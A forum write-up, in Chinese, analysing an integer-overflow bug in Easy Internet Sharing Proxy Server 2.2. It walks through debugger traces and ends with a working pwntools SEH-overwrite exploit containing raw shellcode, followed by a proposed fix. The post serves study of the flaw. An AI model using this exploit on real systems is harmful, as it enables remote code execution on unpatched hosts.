首页
社区
课程
招聘
[原创]EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用
2017-4-1 11:02 5956

[原创]EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用

2017-4-1 11:02
5956

我又来了!O(∩_∩)O哈哈~,上一篇是优秀,感谢版主的肯定,谢谢,不知道这篇这么样呢?

简介

软件全称:Easy Internet Sharing Proxy Server 2.2

因为有整数溢出,导致复制长度过长,覆盖SEH,导致任意代码执行

分析来源:https://www.exploit-db.com/exploits/40760/

因为k0shl在i春秋讲这个,我也实践一下

欢迎大家交流,我的blog:http://blog.csdn.net/u012763794/

实验环境

Windows 7 Sp1 32位 
metasploit 
EPS 2.2 
windbg 
IDA 
mona

漏洞分析

首先我们的exp来源于exploitdb,我的话要改一下开头的类名称为Metasploit3才能用

我们直接上metasploit,由于我们用的是win7,所以我们target就默认让它是win10,故意让它崩掉

还有你会发现默认使用的payload是windows/meterpreter/reverse_tcp

msf > use exploit/windows/proxy/eps 
msf exploit(eps) > set RHOST "192.168.253.157"
RHOST => 192.168.253.157
......
......
msf exploit(eps) > show options 
Module options (exploit/windows/proxy/eps):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.253.157  yes       The target address
   RPORT  1080             yes       The target port
Exploit target:
   Id  Name
   --  ----
   0   Windows 10 32bit
msf exploit(eps) > exploit 
[*] Started reverse handler on 192.168.253.164:4444 
[+] Building Windows 10 Rop Chain
[+] Building Exploit...
[+] Sending exploit...
[+] Exploit Sent...


看看崩溃信息,ecx的值非常大,edi所指向的地址是没有任何权限的,所以导致了异常

0:033> g
(138.a74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffff90 ebx=00000000 ecx=3fffeec4 edx=00344060 esi=0438e002 edi=04390000
eip=0043973d esp=04387c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a06
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe
easyproxy+0x3973d:
0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:017> kv
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
04387c18 00000000 00000000 0438ff94 00000244 easyproxy+0x3973d
0:017> !address edi
                                     
Failed to map Heaps (error 80004005)
Usage:                  Stack
Allocation Base:        04390000
Base Address:           04390000
End Address:            04486000
Region Size:            000f6000
Type:                   00020000	MEM_PRIVATE
State:                  00002000	MEM_RESERVE
Protect:                00000000	
More info:              ~18k


我们在ida定位一下崩溃的伪代码

v39 = v236;
v40 = v236;
v41 = (unsigned int)v236 >> 2;
qmemcpy(&v240, v237, 4 * v41);


也看看汇编吧

.text:00439720                 movsx   ebp, [esp+8370h+var_640B]
.text:00439728                 mov     ecx, ebp
.text:0043972A                 lea     esi, [esp+8370h+var_640A]
.text:00439731                 mov     eax, ecx
.text:00439733                 lea     edi, [esp+8370h+var_440C]
.text:0043973A                 shr     ecx, 2
.text:0043973D                 rep movsd


ecx来源于[esp+8370h+var_640B],那我们在00439720下断点

我们下面可以看到这里有个带符号扩展的mov指令,movsx,这是将90扩展成dword

由于0x90的最高位是1啊,那扩展后的前3个字节的二进制位都是1,即结果是0xFFFFFF90,不信看下面

>>> bin(0x90)
'0b10010000'


0:033> g
Breakpoint 0 hit
eax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8e
eip=00439720 esp=04347c1c ebp=0000040e iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04349b81=90
0:017> p
eax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8e
eip=00439728 esp=04347c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39728:
00439728 8bcd            mov     ecx,ebp

我们看到复制大小3fffffe4 ,而目的地址申请的大小为

0x04350000 - 0x04347000= 0x9000

这样就会复制到不可写的内存(超越了栈顶)

0:017> p
eax=ffffff90 ebx=00000000 ecx=3fffffe4 edx=00214060 esi=04349b82 edi=0434bb80
eip=0043973d esp=04347c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a06
easyproxy+0x3973d:
0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:017> !address edi
                                     
Failed to map Heaps (error 80004005)
Usage:                  Stack
Allocation Base:        04250000
Base Address:           04347000
End Address:            04350000
Region Size:            00009000
Type:                   00020000	MEM_PRIVATE
State:                  00001000	MEM_COMMIT
Protect:                00000004	PAGE_READWRITE


movsx的C语言怎么表达

那么对于的C语言或者说是C++代码是怎样的呢

17:       char a = 0x90;
00401028 C6 45 F4 90          mov         byte ptr [ebp-0Ch],90h
18:
19:       int b = (int) a;
0040102C 0F BE 45 F4          movsx       eax,byte ptr [ebp-0Ch]


可以看到是将字符型转化为整型可以这样

漏洞利用

我们用wireshark抓包,tcp流跟随一下,看看metasploit发送了什么

00000000  90 90 03 fb 43 00 03 fb  43 00 03 fb 43 00 03 fb   ....C... C...C...
00000010  43 00 03 fb 43 00 de f1  47 00 10 92 48 00 ec a4   C...C... G...H...
00000020  45 00 6e 27 45 00 41 41  41 41 30 8d 43 00 41 41   E.n'E.AA AA0.C.AA
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 eb 68   AAAAAAAA AAAAAA.h
00000040  47 00 b0 76 46 00 41 41  41 41 71 77 41 00 38 bf   G..vF.AA AAqwA.8.
00000050  46 00 01 00 00 00 77 14  48 00 00 10 00 00 ec a4   F.....w. H.......
00000060  45 00 6e 27 45 00 01 00  00 00 98 80 48 00 41 41   E.n'E... ....H.AA
00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 40 00   AAAAAAAA AAAAAA@.
00000080  00 00 38 ca 44 00 03 fb  43 00 59 45 45 00 90 90   ..8.D... C.YEE...
00000090  90 90 0f d3 47 00 4e 9b  4e 92 fc 42 f5 fc 42 fd   ....G.N. N..B..B.
......
......


我们再看看metasploit,win10利用代码发送的数据啊 
那我们完全有理由相信,触发漏洞的90出自于开头的90的其中一个

sploit = "\x90" *2
sploit << rop_gadgets
sploit << payload.encoded
sploit << make_nops(target['Nops'])
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)


我们上pwntools,自己搞一下(payload是mona生成的定位字符)

from pwn import *
p = remote("192.168.253.157", 1080)
payload  = "Aa0Aa1Aa2A....."
p.sendline(payload)
p.interactive()

发送,我们看到这时movsx ebp,byte ptr [esp+1F65h] 

中[esp+1F65h]的值是61(即’a’),这样看不出是哪个位置的小a的值

那我们将payload改一下

payload = "ABCDEFGH...."

那从下面我们看到只要发送的第二个字符的二进制位的最高位为1即可触发漏洞

0:033> g
Breakpoint 0 hit
eax=00000341 ebx=00000000 ecx=00000000 edx=00794090 esi=0079449d edi=04459f71
eip=00439720 esp=04457c1c ebp=000003f1 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04459b81=42


比如我们payload是:

payload = "A\xffCD

那么就会下面这样

0:033> g
Breakpoint 0 hit
eax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71
eip=00439720 esp=04377c1c ebp=000003f1 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04379b81=ff
0:017> p
eax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71
eip=00439728 esp=04377c1c ebp=ffffffff iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
easyproxy+0x39728:
00439728 8bcd            mov     ecx,ebp


不包括前两个字符,我们定位到SEH位置为1032,NEXT SEH就是1028咯

我们看看当我们执行到我们覆盖的SEH的指令时的栈情况 
我们可以注意到03e7ff80就是NEXT SEH的位置

0:017> dd esp
03e77834  76f165f9 03e7791c 03e7ff80 03e77938
03e77844  03e778f0 03e7ff80 76f1660d 03e7ff80
03e77854  03e77904 76f165cb 03e7791c 03e7ff80
03e77864  03e77938 03e778f0 00404bbc 00000000
03e77874  03e7791c 03e7ff80 76ef8d3d 03e7791c
03e77884  03e7ff80 03e77938 03e778f0 00404bbc
03e77894  03e80000 03e7791c 03e7e002 00000000
03e778a4  00000000 00000000 00000000 00000000


Windows7一般默认只是Windows软件和服务才开了DEP,所以我们不用绕过DEP,exploitdb的作者在Windows7是使用了绕过dep的方法,seh覆盖成了0043ad38这个地址

0043ad38 81c460830000    add     esp,8360h
0043ad3e c20400          ret     4

但这里没开DEP,这里直接覆盖SEH为pop pop ret, 
由于后面的栈地址不够了,所以我们的Shellcode要放在前面

最终exp:

from pwn import *
p = remote("192.168.253.157", 1080)
shellcode = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xdb\x88\x5c\x24\x0b\x89\xe3\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xc9\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
pop_pop_ret = 0x00404BBC
payload  = "\xff\xff" + '\x90' *(1028-len(shellcode)-5) + shellcode + "\xe9\xf0\xfe\xff\xff" + "\xeb\xf9\x90\x90" + p32(pop_pop_ret) 
# print len(shellcode)
p.sendline(payload)
p.interactive()


执行效果:

漏洞修复

应该要将char转化为int时,跟0xff与一下,这是个人看法,不知道大牛们是怎么修复的呢

int b = (int) a & 0xff;


当然也可以先装化为byte,再赋值给int

17:       char a = 0x90;
00401028 C6 45 FC 90          mov         byte ptr [ebp-4],90h
18:
19:       byte c = (byte) a;
0040102C 8A 45 FC             mov         al,byte ptr [ebp-4]
0040102F 88 45 F4             mov         byte ptr [ebp-0Ch],al
20:
21:       int b = (int) c;
00401032 8B 4D F4             mov         ecx,dword ptr [ebp-0Ch]
00401035 81 E1 FF 00 00 00    and         ecx,0FFh
0040103B 89 4D F8             mov         dword ptr [ebp-8],ecx

漏洞总结

由于eps软件应该是使用了将char强制转化为int,而且将这个int参数传入qmemcpy的第3个参数,而qmemcpy会把它当做无符号数对待,导致最后复制长度过程,超越的栈顶,使攻击者可以覆盖SEH,导致任意代码执行漏洞



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2017-4-1 22:16
2
0
赞,没想到我在i春秋的课程还是有人看的能带来一点点帮助就好啦..学习了!
雪    币: 413
活跃值: (274)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
giantbranch 2017-4-2 00:13
3
0
Keoyo 赞,没想到我在i春秋的课程还是有人看的[em_13]能带来一点点帮助就好啦..学习了!
游客
登录 | 注册 方可回帖
返回